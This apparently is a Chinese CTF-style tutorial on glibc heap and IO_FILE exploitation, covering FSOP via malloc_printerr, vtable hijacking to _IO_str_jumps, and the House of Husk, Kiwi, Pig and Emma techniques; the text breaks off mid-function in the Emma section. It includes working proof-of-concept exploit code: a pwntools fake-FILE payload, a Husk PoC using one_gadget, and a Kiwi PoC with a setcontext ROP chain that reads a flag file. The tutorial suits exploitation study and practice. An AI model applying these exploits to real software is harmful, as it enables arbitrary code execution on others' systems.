1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av); if (size == nb) { ... } if (in_smallbin_range (size)) { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; } ... victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;
最终效果如下图所示: 之后程序进入 unsorted bin 的第二次循环,由于此时 victim 为 _IO_list_all - 0x10
,因此不会通过对 victim->size
的检查,从而进入 malloc_printerr
函数。
1 2 3 4 5 6 7 8 while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) { bck = victim->bk; if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0 ) || __builtin_expect (victim->size > av->system_mem, 0 )) malloc_printerr (check_action, "malloc(): memory corruption" , chunk2mem (victim), av);
最终,程序会遍历 _IO_list_all
对应的 IO_FILE 链表,并且如果 IO_FILE 结构体满足 fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
会调用对应 vtable 中的 _IO_overflow
函数,从而获得 shell 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 static void malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr) { ... else if (action & 1 ) { ... __libc_message (action & 2 , "*** Error in `%s': %s: 0x%s ***\n" , __libc_argv[0 ] ? : "<unknown>" , str, cp); } ... } void __libc_message (int do_abort, const char *fmt, ...) { ... if (do_abort) { ... abort (); } } #define fflush(s) _IO_flush_all_lockp (0) void abort (void ) { ... if (stage == 1 ) { ++stage; fflush (NULL ); } ... } int _IO_flush_all_lockp (int do_lock) { int result = 0 ; struct _IO_FILE *fp ; int last_stamp; #ifdef _IO_MTSAFE_IO __libc_cleanup_region_start (do_lock, flush_cleanup, NULL ); ... fp = (_IO_FILE *) _IO_list_all; while (fp != NULL ) { run_fp = fp; if (do_lock) _IO_flockfile (fp); if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) #endif ) && _IO_OVERFLOW (fp, EOF) == EOF) result = EOF; ... fp = fp->_chain; } ... }
自 glibc-2.27 开始,abort 函数发生较大改动,不再调用 _IO_flush_all_lockp
函数,因此不能利用 malloc_printerr 实现程序执行流劫持。
劫持 vtable 到 _IO_str_jumps 以这道题目 为例,libc2.24 在 IO_validate_vtable
函数中对 *vtable
指针进行校验,vtable
必须要满足 在 __stop___IO_vtables
和 __start___libc_IO_vtables
之间,而我们伪造的 vtable
通常不满足这个条件。 但是 _IO_str_jumps
与 __IO_wstr_jumps
就位于 __stop___libc_IO_vtables
和 __start___libc_IO_vtables
之间,所以我们是可以利用他们来通过 IO_validate_vtable
的检测的,只需要将 *vtable
填成 _IO_str_jumps
或 __IO_wstr_jumps
地址即可。_IO_str_jumps
同样是 _IO_jump_t
类型,但是与与原来的 vtable
指向的 __GI__IO_file_jumps
相比指向的函数不同。_IO_str_jumps
其中的 _IO_str_finish
直到 libc-2.27 版本都是下面这种实现手段。也就是说,如果修改 ((_IO_strfile *) fp)->_s._free_buffer
为 system
地址,然后修改 fp->_IO_buf_base
为 /bin/sh
字符串地址,然后触发程序执行 _IO_str_finish
函数就可以得到 shell 。
1 2 3 4 5 6 7 8 9 void _IO_str_finish (_IO_FILE *fp, int dummy) { if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); fp->_IO_buf_base = NULL ; _IO_default_finish (fp, 0 ); }
要想触发程序执行 _IO_str_finish
函数就需要将 vtable
指向 _IO_str_jumps
往上的某个偏移,使得下一个要调用的 vtable
中的函数(最好是第一个被调用的函数,因为 vtable
已经被破坏)的位置恰好是 _IO_str_finish
。 由于 edit 函数在 read
改完 _IO_2_1_stdout_
后紧接着调用 printf
,而 printf
紧接着会调用 _IO_new_file_xsputn
,因此需要将 vtable
指向 &_IO_str_jumps - 0x28
的位置上。
IO_FILE 的伪造对应与代码中可以有如下定义:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 IO_file_jumps = libc.symbols['_IO_file_jumps' ] IO_str_underflow = libc.symbols['_IO_str_underflow' ] - libc.address IO_str_underflow_ptr = list (libc.search(p64(IO_str_underflow))) IO_str_jumps = IO_str_underflow_ptr[bisect_left(IO_str_underflow_ptr, IO_file_jumps + 0x20 )] - 0x20 fake_file = b"" fake_file += p64(0xFBAD2886 ) fake_file += p64(libc.sym['_IO_2_1_stdout_' ] + 131 ) * 6 fake_file += p64(libc.search("/bin/sh" ).next ()) fake_file += p64(libc.sym['_IO_2_1_stdout_' ] + 132 ) fake_file += p64(0 ) * 4 fake_file += p64(libc.sym['_IO_2_1_stdin_' ]) fake_file += p32(1 ) fake_file += p32(0 ) fake_file += p64(0xFFFFFFFFFFFFFFFF ) fake_file += p16(0 ) fake_file += b"\x00" fake_file += b"\n" fake_file += p32(0 ) fake_file += p64(libc.sym['_IO_2_1_stdout_' ] + 0x1e20 ) fake_file += p64(0xFFFFFFFFFFFFFFFF ) fake_file += p64(0 ) fake_file += p64(libc.sym['_IO_2_1_stdout_' ] - 0xe20 ) fake_file += p64(0 ) * 3 fake_file += p32(0xFFFFFFFF ) fake_file += b"\x00" * 19 fake_file = fake_file.ljust(0xD8 , b'\x00' ) fake_file += p64(IO_str_jumps - 0x28 ) + p64(0 ) + p64(libc.sym['system' ])
libc-2.28 版本起 _IO_str_finish 不再调用 _free_buffer 而是直接是直接调用 free ,因此该方法失效。
1 2 3 4 5 6 7 8 9 void _IO_str_finish (FILE *fp, int dummy) { if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) free (fp->_IO_buf_base); fp->_IO_buf_base = NULL ; _IO_default_finish (fp, 0 ); }
利用 IO_validate_vtable 劫持程序流 以这道题 为例,自 glibc-2.24 起在调用 vtable
中的函数前会调用 IO_validate_vtable
检查 vtable
执向的 _IO_jump_t
的地址是否合法,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 static inline const struct _IO_jump_t *IO_validate_vtable (const struct _IO_jump_t *vtable) { uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; uintptr_t ptr = (uintptr_t ) vtable; uintptr_t offset = ptr - (uintptr_t ) __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) _IO_vtable_check(); return vtable; } void attribute_hidden _IO_vtable_check(void ) {#ifdef SHARED void (*flag)(void ) = atomic_load_relaxed (&IO_accept_foreign_vtables); #ifdef PTR_DEMANGLE PTR_DEMANGLE (flag); #endif if (flag == &_IO_vtable_check) return ; { Dl_info di; struct link_map *l ; if (!rtld_active() || (_dl_addr(_IO_vtable_check, &di, &l, NULL ) != 0 && l->l_ns != LM_ID_BASE)) return ; } ... } static inline bool rtld_active (void ) { return GLRO(dl_init_all_dirs) != NULL ; } int _dl_addr(const void *address, Dl_info *info, struct link_map **mapp, const ElfW(Sym) **symbolp) { const ElfW (Addr) addr = DL_LOOKUP_ADDRESS (address); int result = 0 ; __rtld_lock_lock_recursive (GL(dl_load_lock)); ... 声明位置: libc-lockP.h 定义: # define __rtld_lock_lock_recursive(NAME) \ __libc_maybe_call (__pthread_mutex_lock, (&(NAME).mutex), 0) 替换: (({ __typeof(__pthread_mutex_lock) *_fn = (__pthread_mutex_lock); _fn != ((void *) 0 ) ? (*_fn)(&(_dl_load_lock).mutex) : 0 ; }))
可以看到,如果 rtld_active
返回 true(具体看调试,因为可能存在GLRO(dl_init_all_dirs)
不可写且为 NULL 的情况)则
会调用 _dl_addr
,最终执行 __rtld_lock_lock_recursive (GL(dl_load_lock))
,这个宏就是 exit hook 对应的宏,因此可以像 exit hook 那样修改函数指针就可以劫持程序流。
同样的,glibc-2.34 起该方法失效。
House of Husk 在 glibc 中,可以通过 __register_printf_function
函数为 printf
格式化字符串中的 spec
(例如 %X
中的 X
)注册对应的函数。而维护字符与函数的映射关系的结构有 __printf_function_table
和 __printf_arginfo_table
。位置关系如下图所示(实际位置在哪里以及相对位置如何不重要,glibc 只通过 __printf_function_table
和 __printf_arginfo_table
这两个指针访问这两个函数表),其中有 2 字节填充。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 int __register_printf_specifier (int spec, printf_function converter, printf_arginfo_size_function arginfo) { if (spec < 0 || spec > (int ) UCHAR_MAX) { __set_errno (EINVAL); return -1 ; } int result = 0 ; __libc_lock_lock (lock); if (__printf_function_table == NULL ) { __printf_arginfo_table = (printf_arginfo_size_function **) calloc (UCHAR_MAX + 1 , sizeof (void *) * 2 ); if (__printf_arginfo_table == NULL ) { result = -1 ; goto out; } __printf_function_table = (printf_function **) (__printf_arginfo_table + UCHAR_MAX + 1 ); } __printf_function_table[spec] = converter; __printf_arginfo_table[spec] = arginfo; out: __libc_lock_unlock (lock); return result; } int __register_printf_function (int spec, printf_function converter, printf_arginfo_function arginfo) { return __register_printf_specifier (spec, converter, (printf_arginfo_size_function*) arginfo); }
printf
实际在 glibc 中为 __printf
,它调用的是 vfprintf
。在 vfprintf
函数中,如果 __printf_function_table
不为空,那么会调用 printf_positional
函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 int vfprintf (FILE *s, const CHAR_T *format, va_list ap) { ... if (__glibc_unlikely (__printf_function_table != NULL || __printf_modifier_table != NULL || __printf_va_arg_table != NULL )) goto do_positional; ... do_positional: ... done = printf_positional (s, format, readonly_format, ap, &ap_save, done, nspecs_done, lead_str_end, work_buffer, save_errno, grouping, thousands_sep); ... }
在 printf_positional
及其调用的 __parse_one_specmb
函数中,__printf_function_table
和 __printf_arginfo_table
中的函数都会被调用,因此可以将 __printf_function_table
或者 __printf_function_table
指针覆盖为伪造的 __printf_function_table
和 __printf_arginfo_table
并在其中写入 one_gadget 来获取 shell 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 size_t attribute_hidden __parse_one_specmb (const UCHAR_T *format, size_t posn, struct printf_spec *spec, size_t *max_ref_arg) { ... if (__builtin_expect (__printf_function_table == NULL , 1 ) || spec->info.spec > UCHAR_MAX || __printf_arginfo_table[spec->info.spec] == NULL || (int ) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec]) (&spec->info, 1 , &spec->data_arg_type, &spec->size)) < 0 ) ... } static int printf_positional (_IO_FILE *s, const CHAR_T *format, int readonly_format, va_list ap, va_list *ap_savep, int done, int nspecs_done, const UCHAR_T *lead_str_end, CHAR_T *work_buffer, int save_errno, const char *grouping, THOUSANDS_SEP_T thousands_sep) { ... nargs += __parse_one_specmb (f, nargs, &specs[nspecs], &max_ref_arg); ... if (spec <= UCHAR_MAX && __printf_function_table != NULL && __printf_function_table[(size_t ) spec] != NULL ) { const void **ptr = alloca (specs[nspecs_done].ndata_args * sizeof (const void *)); for (unsigned int i = 0 ; i < specs[nspecs_done].ndata_args; ++i) ptr[i] = &args_value[specs[nspecs_done].data_arg + i]; function_done = __printf_function_table[(size_t ) spec] (s, &specs[nspecs_done].info, ptr); if (function_done != -2 ) { if (function_done < 0 ) { done = -1 ; goto all_done; } done_add (function_done); break ; } } ... }
下面介绍一下 hous of husk 的具体利用手法,具体见细节见 Poc 。
首先释放一个 chunk 进入 unsorted bin 泄露 libc 基地址。
构造 unsorted bin attack 修改 global_max_fast
为一个很大的值。
由于 global_max_fast
是一个很大的值,因此即使释放很大的 chunk 也会进入 fast bin ,并且由于下标超过了 bin 数组的范围,因此可以将 __printf_function_table
和 __printf_arginfo_table
覆盖成释放的堆块的内存的指针。利用这一特性可以满足下面的条件:
为了通过 vfprintf
处的函数判断使函数调用 printf_positional
,可以将 __printf_function_table
覆盖为非 0 值。
将 __printf_function_table
或者 __printf_arginfo_table
覆盖为指向写有 one_gadget 的内存的指针。其中 one_gadget
在内存中的偏移对应与之后触发漏洞的 spec
。
如果是利用 __printf_function_table
触发漏洞需要让 __printf_arginfo_table
指向一块内存并且该内存对应 spec
偏移处设为 null ,否则会在 __parse_one_specmb
函数的 if 判断中造成不可预知的错误。
最后调用 printf
触发漏洞获取 shell 。
poc 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 #include <stdio.h> #include <stdlib.h> #define offset2size(ofs) ((ofs) * 2 - 0x10) #define MAIN_ARENA 0x3afc40 #define MAIN_ARENA_DELTA 0x60 #define GLOBAL_MAX_FAST 0x3b1940 #define PRINTF_FUNCTABLE 0x3b4658 #define PRINTF_ARGINFO 0x3b0870 #define ONE_GADGET 0xdeed2 int main (void ) { unsigned long libc_base; char *a[10 ]; setbuf(stdout , NULL ); a[0 ] = malloc (0x500 ); a[1 ] = malloc (offset2size(PRINTF_FUNCTABLE - MAIN_ARENA)); a[2 ] = malloc (offset2size(PRINTF_ARGINFO - MAIN_ARENA)); a[3 ] = malloc (0x500 ); free (a[0 ]); libc_base = *(unsigned long *)a[0 ] - MAIN_ARENA - MAIN_ARENA_DELTA; printf ("libc @ 0x%lxn" , libc_base); *(unsigned long *)(a[2 ] + ('X' - 2 ) * 8 ) = libc_base + ONE_GADGET; *(unsigned long *)(a[0 ] + 8 ) = libc_base + GLOBAL_MAX_FAST - 0x10 ; a[0 ] = malloc (0x500 ); free (a[1 ]); free (a[2 ]); printf ("%X" , 0 ); return 0 ; }
House of Kiwi 当程序正常调用 exit
退出时可以通过劫持 vtable
上的 _IO_overflow
来实现程序流劫持,例如 FSOP 。然而,如果程序调用 _exit
退出,那么将不会进行 IO 相关的清理工作,而是直接进行系统调用。因此需要主动触发异常退出来调用 vtable
上的相关函数,这就衍生出了 House of Kiwi 这一攻击手法。
在 sysmalloc
中,有一个检查 top chunk 页对齐的代码片段:
1 2 3 4 assert ((old_top == initial_top (av) && old_size == 0 ) || ((unsigned long ) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long ) old_end & (pagesize - 1 )) == 0 ));
通过调试可知,如果满足条件会调用 __malloc_assert
,而 __malloc_assert
会调用 fflush (stderr);
。
1 2 3 4 5 6 7 8 9 10 11 12 static void __malloc_assert (const char *assertion, const char *file, unsigned int line, const char *function) { (void ) __fxprintf (NULL , "%s%s%s:%u: %s%sAssertion `%s' failed.\n" , __progname, __progname[0 ] ? ": " : "" , file, line, function ? function : "" , function ? ": " : "" , assertion); fflush (stderr ); abort (); }
而 fflush
最终会调用 _IO_fflush
,其中 result = _IO_SYNC (fp) ? EOF : 0;
这行代码对应汇编如下:
其中 rbp 指向 _IO_file_jumps_
,因此 call [rbp + 0x60]
调用的是 _IO_new_file_sync
,并且 _IO_file_jumps_
可写。因此只需要将 _IO_file_jumps_
对应 _IO_new_file_sync
函数指针的位置覆盖为 one_gadget 就可以获取 shell 。 不过如果对于禁用 execve
的程序需要借助 setcontext+61
+ rop 或 shellcode 进行 orw 。 其中 setcontext+61
汇编如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 .text:0000000000050C0D mov rsp, [rdx+0A0h] .text:0000000000050C14 mov rbx, [rdx+80h] .text:0000000000050C1B mov rbp, [rdx+78h] .text:0000000000050C1F mov r12, [rdx+48h] .text:0000000000050C23 mov r13, [rdx+50h] .text:0000000000050C27 mov r14, [rdx+58h] .text:0000000000050C2B mov r15, [rdx+60h] .text:0000000000050C2F test dword ptr fs:48h, 2 .text:0000000000050C3B jz loc_50CF6 ... .text:0000000000050CF6 loc_50CF6: ; CODE XREF: setcontext+6B↑j .text:0000000000050CF6 mov rcx, [rdx+0A8h] .text:0000000000050CFD push rcx .text:0000000000050CFE mov rsi, [rdx+70h] .text:0000000000050D02 mov rdi, [rdx+68h] .text:0000000000050D06 mov rcx, [rdx+98h] .text:0000000000050D0D mov r8, [rdx+28h] .text:0000000000050D11 mov r9, [rdx+30h] .text:0000000000050D15 mov rdx, [rdx+88h] .text:0000000000050D15 ; } // starts at 50BD0 .text:0000000000050D1C ; __unwind { .text:0000000000050D1C xor eax, eax .text:0000000000050D1E retn
可以看到,寄存器都是根据 rdx 指向的内存区域进行设置的,而根据前面的调试可知,调用 _IO_new_file_sync
时 rdx 指向的是 _IO_helper_jumps_
结构(注意,内存中有不止一个 _IO_helper_jumps_
,具体是哪一个要通过调试确定。),该结构同样可写。 因此可以通过修改 _IO_helper_jumps_
中的内容来给寄存器赋值。 以 rop 方法为例,需要设置 rsp 指向提前布置号的 rop 的起始位置,同时设置 rip 指向 ret
指令。最后劫持程序流实现 orw 。
poc 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <assert.h> #include <unistd.h> #include <sys/prctl.h> #include <sys/mman.h> #include <linux/filter.h> #include <linux/seccomp.h> #define pop_rdi_ret libc_base + 0x2da82 #define pop_rdx_r12 libc_base + 0x107191 #define pop_rsi_ret libc_base + 0x37bba #define pop_rax_ret libc_base + 0x446d0 #define syscall_ret libc_base + 0x88236 #define ret pop_rdi_ret+1 size_t libc_base;size_t ROP[0x30 ];char FLAG[] = "./flag\x00" ;int main () { setvbuf(stdin ,0LL ,2 ,0LL ); setvbuf(stdout ,0LL ,2 ,0LL ); libc_base = ((size_t )setvbuf) - 0x7a4e0 ; size_t magic_gadget = libc_base + 0x50bd0 + 61 ; size_t _IO_helper_jumps = libc_base + 0x1f3980 ; size_t _IO_file_sync = libc_base + 0x1f45e0 ; uint32_t i = 0 ; ROP[i++] = pop_rax_ret; ROP[i++] = 2 ; ROP[i++] = pop_rdi_ret; ROP[i++] = (size_t )FLAG; ROP[i++] = pop_rsi_ret; ROP[i++] = 0 ; ROP[i++] = syscall_ret; ROP[i++] = pop_rdi_ret; ROP[i++] = 3 ; ROP[i++] = pop_rdx_r12; ROP[i++] = 0x100 ; ROP[i++] = 0 ; ROP[i++] = pop_rsi_ret; ROP[i++] = (size_t )(FLAG + 0x10 ); ROP[i++] = (size_t )read; ROP[i++] = pop_rdi_ret; ROP[i++] = 1 ; ROP[i++] = (size_t )write; *((size_t *)_IO_helper_jumps + 0xA0 /8 ) = (size_t )ROP; *((size_t *)_IO_helper_jumps + 0xA8 /8 ) = ret; *((size_t *)_IO_file_sync) = magic_gadget; size_t *top_size = (size_t *)((char *)malloc (0x10 ) + 0x18 ); *top_size = (*top_size)&0xFFE ; malloc (0x1000 ); _exit(-1 ); }
实际上 __malloc_assert
函数中在 fflush
前调用的 __fxprintf
中也调用了 vtable 中的相关函数,不过由于此时的 rdx 指向没有指向可控内存,还需要一个 rdi 转 rdx 的 gadget 。后面的 house of emma 就是利用了这条攻击链。
glibc-2.36 的 __malloc_assert
发生重大改变,直接通过系统调用不走 IO,该方法失效。
1 2 3 4 5 6 7 8 9 _Noreturn static void __malloc_assert (const char *assertion, const char *file, unsigned int line, const char *function) { __libc_message (do_abort, "\ Fatal glibc error: malloc assertion failure in %s: %s\n" , function, assertion); __builtin_unreachable (); }
House of Pig xctf final 同名题目 ,题目条件太多这里只讲思路。 tcache stash unlink 可以实现任意地址申请内存,但是这种方法的前提是同时有 calloc 和 malloc 两种申请内存的方式。对于只能 calloc 申请内存的题目,还需要结合 large bin attack 手法劫持 _IO_list_all
然后伪造 IO_FILE 结构体从而劫持 vtable
到 _IO_str_jumps
上,进而在程序退出时利用 _IO_str_overflow
的 malloc
完成 tcache stash unlink 攻击,利用 memcpy
在 __free_hook
写入 system
函数地址,利用 free
获取 shell 。
首先利用 1 次 UAF 修改 small bin 中 chunk 的 bk 指针使其指向 __free_hook - 0x20
,然后利用 large bin attack 修改 __free_hook
所在 fake chunk 的 bk 指针指向 large bin 中的 chunk ,从而 tcache stash unlink 的触发条件。 除此之外,还要再次利用 large bin attack 修改 _IO_list_all
指向 large bin 中的 chunk 。为后面劫持 IO_FILE 做准备。 通过 calloc 触发 stash 将 __free_hook
所在 fake chunk 链入 tcache 。之后再将 _IO_list_all
指向的 chunk 申请出来,并在里面伪造 IO_FILE 结构体。 函数在退出时会调用 _IO_flush_all_lockp
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int _IO_flush_all_lockp (int do_lock) { ... for (fp = (FILE *) _IO_list_all; fp != NULL ; fp = fp->_chain) { ... if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) ) && _IO_OVERFLOW (fp, EOF) == EOF) result = EOF; ... } ... }
为了让 _IO_flush_all_lockp
能够调用执行到 _IO_OVERFLOW
从而调用 _IO_str_overflow
,需要满足如下条件:
fp->_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base
由于 vtable 被劫持,程序之后会执行到 _IO_str_overflow
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 int _IO_str_overflow (FILE *fp, int c) { int flush_only = c == EOF; size_t pos; if (fp->_flags & _IO_NO_WRITES) return flush_only ? 0 : EOF; if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING)) { fp->_flags |= _IO_CURRENTLY_PUTTING; fp->_IO_write_ptr = fp->_IO_read_ptr; fp->_IO_read_ptr = fp->_IO_read_end; } pos = fp->_IO_write_ptr - fp->_IO_write_base; if (pos >= (size_t ) (_IO_blen (fp) + flush_only)) { if (fp->_flags & _IO_USER_BUF) return EOF; else { char *new_buf; char *old_buf = fp->_IO_buf_base; size_t old_blen = _IO_blen (fp); size_t new_size = 2 * old_blen + 100 ; if (new_size < old_blen) return EOF; new_buf = malloc (new_size); if (new_buf == NULL ) { return EOF; } if (old_buf) { memcpy (new_buf, old_buf, old_blen); free (old_buf); fp->_IO_buf_base = NULL ; } ... }
首先注意 _flag
的值(通常设为 0),避免提前从函数返回。之后程序执行到下面这个关键位置。
1 2 3 4 5 6 7 8 size_t old_blen = _IO_blen (fp);size_t new_size = 2 * old_blen + 100 ;char *old_buf = fp->_IO_buf_base;... new_buf = malloc (new_size); ... memcpy (new_buf, old_buf, old_blen);free (old_buf);
其中 _IO_blen
定义如下:
1 #define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
此时程序执行 malloc
函数完成 tcache stash unlink 攻击将 __free_hook
所在的 fake chunk 申请出来,随后执行 memcpy
函数,将 fp->_IO_buf_base
和 fp->_IO_buf_end
之间的数据复制到 __free_hook
所在 fake chunk 中,将 __free_hook
覆盖为 system
函数地址。最后将 fp->_IO_buf_base
指向的地址即 /bin/sh
字符串地址作为参数传入 free
函数得到 shell 。
glibc-2.34 起取消了 ptmalloc 中的各种 hook,但是仍然可以利用 house of pig 实现任意地址写任意值,借助其他手段完成 get shell 。
例如这道题目 。观察发现,_IO_str_overflow
中的 memcpy
实际上是通过 got 表调用的,因此我们可以构造多个 _IO_FILE 链将 memcpy@got
改写成 system
函数地址然后调用 memcpy
实现 get shell 。 一种构造方案如上图所示,四个 _IO_FILE 作用如下:
第一个 _IO_FILE 调用 _IO_str_overflow
中的 free
函数将 tcache_perthread_struct
释放实现一次 House of IO 。
第二次 _IO_FILE 首先调用 _IO_str_overflow
中的 malloc
将 tcache_perthread_struct
申请出来,然后调用 memcpy
控制 tcache_perthread_struct
中的数据,使得其中的 entires
指向 &memcpy@got - 0x10
。
第三次 _IO_FILE 首先调用 _IO_str_overflow
中的 malloc
将 &memcpy@got - 0x10
申请出来,然后调用 memcpy
将 memcpy@got
覆盖为 system
函数地址,同时将 &memcpy@got - 0x10
处写入 /bin/sh
字符串。
第四次 _IO_FILE 调用 malloc
再次将 &memcpy@got - 0x10
申请出来然后调用 memcpy
,即 system
函数并传入 &memcpy@got - 0x10
参数执行 system("/bin/sh")
。
House of Emma 如果 vtable
指向的 _IO_file_jumps
不可写,那么 House of Kiwi 这种攻击手法就会失效。这时候就需要考虑劫持 vtable 。但在新版 glibc ,之前的劫持 vtable 的方法已经失效。
由于自 libc-2.24 起对 vtable 指向的地址范围有检查,因此不能随便将 vtable 劫持到某块伪造了 _IO_jump_t
的内存上。
自 glibc-2.28 起,_IO_str_jumps
上的 _IO_str_finish
不再调用 _IO_strfile
(IO_FILE 结构体) 上的函数指针。
因此需要寻找其他的危险函数来劫持程序流。
vtable 的合法范围内,还有另一个 _IO_jump_t
类型的函数表叫做 _IO_cookie_jumps
,其中有如下危险函数可供我们利用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 static ssize_t _IO_cookie_read (FILE *fp, void *buf, ssize_t size) { struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp; cookie_read_function_t *read_cb = cfile->__io_functions.read; #ifdef PTR_DEMANGLE PTR_DEMANGLE (read_cb); #endif if (read_cb == NULL ) return -1 ; return read_cb (cfile->__cookie, buf, size); } static ssize_t _IO_cookie_write (FILE *fp, const void *buf, ssize_t size) { struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp; cookie_write_function_t *write_cb = cfile->__io_functions.write; #ifdef PTR_DEMANGLE PTR_DEMANGLE (write_cb); #endif if (write_cb == NULL ) { fp->_flags |= _IO_ERR_SEEN; return 0 ; } ssize_t n = write_cb (cfile->__cookie, buf, size); if (n < size) fp->_flags |= _IO_ERR_SEEN; return n; } static off64_t _IO_cookie_seek (FILE *fp, off64_t offset, int dir) { struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp; cookie_seek_function_t *seek_cb = cfile->__io_functions.seek; #ifdef PTR_DEMANGLE PTR_DEMANGLE (seek_cb); #endif return ((seek_cb == NULL || (seek_cb (cfile->__cookie, &offset, dir) == -1 ) || offset == (off64_t ) -1 ) ? _IO_pos_BAD : offset); } static int _IO_cookie_close (FILE *fp) { struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp; cookie_close_function_t *close_cb = cfile->__io_functions.close; #ifdef PTR_DEMANGLE PTR_DEMANGLE (close_cb); #endif if (close_cb == NULL ) return 0 ; return close_cb (cfile->__cookie); }
其中 _IO_cookie_file
有如下定义:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 struct _IO_cookie_file { struct _IO_FILE_plus __fp ; void *__cookie; cookie_io_functions_t __io_functions; }; typedef struct _IO_cookie_io_functions_t { cookie_read_function_t *read; cookie_write_function_t *write; cookie_seek_function_t *seek; cookie_close_function_t *close; } cookie_io_functions_t ;
因此攻击手法与前面的 _IO_str_jumps
相似,不过需要绕过指针保护 PTR_DEMANGLE
。
通过分析汇编可知,这段宏定义的操作是将函数指针循环右移 11 位然后与 fs:[0x30]
异或得到真正的函数地址。 我们知道, fs:[0x28]
是 tls 上存储的 canary,根据 tcbhead_t
结构体的定义,fs[0x30]
是 pointer_guard
,用于对指针进行加密。
1 2 3 4 5 6 7 8 9 10 11 12 typedef struct { void *tcb; dtv_t *dtv; void *self; int multiple_threads; int gscope_flag; uintptr_t sysinfo; uintptr_t stack_guard; uintptr_t pointer_guard; } tcbhead_t ;
因此我们可以先泄露堆地址和 libc 基地址,然后利用 large bin attack 在 tls 对应 pointer_guard
上写一个 chunk 地址,从而绕过指针保护。
在实际调试时可以利用 canary 等方法查找 pointer_guard
地址,然后在攻击时根据 libc 基地址定位 pointer_guard
。 与 house of kiwi 一样,house of emma 也是通过 __malloc_assert
触发漏洞,但是由于 pointer_guard
已被修改,原来受保护的函数指针都已经无法调用,因此要选择最早调用的 vtable
中的函数进行触发,因此这里选择下面这个调用链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 static void __malloc_assert (const char *assertion, const char *file, unsigned int line, const char *function) { (void ) __fxprintf (NULL , "%s%s%s:%u: %s%sAssertion `%s' failed.\n" , __progname, __progname[0 ] ? ": " : "" , file, line, function ? function : "" , function ? ": " : "" , assertion); fflush (stderr ); abort (); } int __fxprintf (FILE *fp, const char *fmt, ...) { va_list ap; va_start (ap, fmt); int res = __vfxprintf (fp, fmt, ap, 0 ); va_end (ap); return res; } int __vfxprintf (FILE *fp, const char *fmt, va_list ap, unsigned int mode_flags) { if (fp == NULL ) fp = stderr ; _IO_flockfile (fp); int res = locked_vfxprintf (fp, fmt, ap, mode_flags); 